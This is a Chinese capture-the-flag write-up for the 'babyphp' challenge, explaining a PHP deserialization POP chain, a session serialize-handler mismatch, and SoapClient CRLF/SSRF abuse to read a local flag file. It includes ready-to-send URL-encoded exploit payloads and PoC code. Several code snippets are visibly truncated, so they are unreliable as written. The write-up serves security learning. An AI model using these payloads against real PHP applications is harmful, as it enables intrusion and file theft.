2022安洵杯babyphp
这个题没打出来有点可惜，感觉做的都差不多了，不过有些地方确实没理解，还是理解不到位
先来看序列化，这个序列化是不难的，不过有一个小坑，我们先理一遍顺序
array(0) { } a = "babyhacker";}public function __invoke(){if (isset($this->a) && $this->a == md5($this->a)) {$this->b->uwant();}}
}class B
{public $a;public $b;public $k;function __destruct(){$this->b = $this->k;die($this->a);}
}class C
{public $a;public $c;public function __toString(){$cc = $this->c;return $cc();}public function uwant(){if ($this->a == "phpinfo") {phpinfo();} else {call_user_func(array(reset($_SESSION), $this->a));}}
}if (isset($_GET['d0g3'])) {ini_set($_GET['baby'], $_GET['d0g3']);session_start();$_SESSION['sess'] = $_POST['sess'];
}
else{session_start();if (isset($_POST["pop"])) {unserialize($_POST["pop"]);}
}
var_dump($_SESSION);
highlight_file(__FILE__);flag.php
这里最后肯定要调用C类的uwant函数，可以由A类的__invoke()方法触发，
A类的__invoke()方法由C类的__toString()方法触发，这里有一个小坑，我当时一直以为这个tostring是A类的 $this->a = "babyhacker";触发的，结果一直没跑通，后来看没用到B类，尝试用B的die($this->a);，没想到是可以的
那这样链子就出来了
Poc
a=$a;$this->b=$b;}public function __wakeup(){$this->a = "babyhacker";echo '触发了A类的 __wakeup';}public function __invoke(){echo '触发了A类的 __invoke';if (isset($this->a) && $this->a == md5($this->a)) {$this->b->uwant();}}
}class B
{public $a;public $b;public $k;public function __construct($a,$b,$k){$this->a=$a;$this->b=$b;$this->k=$k;}function __destruct(){$this->b = $this->k;die($this->a);}
}class C
{public $a;public $c;public function __construct($a,$c){$this->a=$a;$this->c=$c;}public function __toString(){echo '触发了C类的 __toString';$cc = $this->c;return $cc();}public function uwant(){if ($this->a == "phpinfo") {phpinfo();} else {call_user_func(array(reset($_SESSION), $this->a));}}
}$a=new B(new C('',new A('0e215962017',new C('phpinfo',''))),'','');
echo (serialize($a));Payload
这里记得绕过wakup
pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D
接下来就是想 call_user_func(array(reset($_SESSION), $this->a));的利用了
call_user_func函数中的参数可以是一个数组，数组中第一个元素为类名，第二个元素为类方法
reset的话会把指针指向$_SESSION数组的第一个键值对
感觉这里是不是在考php原生类读文件呢？
PHP利用原生类进行SSRF攻击
https://blog.csdn.net/weixin_44033675/article/details/116903866
还是先叙述一下这个攻击手法：
SoapClient是php的一个内置类，它本身是存在CRLF和SSRF漏洞的，怎么说呢？这个类可以控制发送请求包，并且headers可控，不仅可控，还可以传入回车+换行（\r\n），那么被回车下去的请求头不就成了post数据。所以我们可以任意构造请求包，另外，当这个类被调用它没有的方法，会触发它的call，引发SSRF漏洞
$target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;$c = unserialize($aaa);
$c->not_exists_function();
?>session反序列化漏洞：
session是会被反序列化存储到本地的
session.serialize_handler这个参数控制session反序列化的处理器，不同的处理器序列化的结果不一样
当 session.serialize_handler=php 时，session文件内容为： name|s:7:"1234567";
当 session.serialize_handler=php_serialize 时，session文件为： a:1:{s:4:"name";s:7:"1234567";}
当 session.serialize_handler=php_binary 时，session文件内容为： 二进制字符names:7:"1234567";
而当session反序列化和序列化时候使用不同引擎的时候，即可触发漏洞
php引擎会以|作为作为key和value的分隔符，我们在传入内容的时候，比如传入
$_SESSION[‘name’] = ‘|username‘那么使用php_serialize引擎时可以得到序列化内容
a:1:{s:4:”name”;s:4:”|username”;} 然后用php引擎反序列化时，|被当做分隔符，于是
a:1:{s:4:”name”;s:4:”被当作key
username被当做vaule进行反序列化
于是，我们只要传入$_SESSION[‘name’] = |序列化内容
即可触发漏洞
SoapClient序列化构造：
"aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332", 'uri' => 'bbb',// 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg')
);
$b = serialize($a);
echo urlencode($b);
?>首先通过ini_set更改session的处理器，传入构造的session序列化字符串
if (isset($_GET['d0g3'])) {ini_set($_GET['baby'], $_GET['d0g3']);session_start();$_SESSION['sess'] = $_POST['sess'];
}
else{session_start();if (isset($_POST["pop"])) {unserialize($_POST["pop"]);}
}Payload
GET: ?baby=session.serialize_handler&d0g3=php_serialize POST: sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A47%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DGlobIterator%26b%3D%2F%2Af%2A%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
第二次，需要将sess设置为SoapClient这个类，方便第三次利用反序列化pop链中call_user_func激活soap类
Payload
GET ?D0G3 POST sess=SoapClient
第三次，直接用call_user_func激活soap类，通过flag.php将flag写入session
Payload
pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22aaa%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D
实际上那个第二步可能是不需要的，soap类的序列化字符串已经存入session了，直接传入pop激活soap也是可以的
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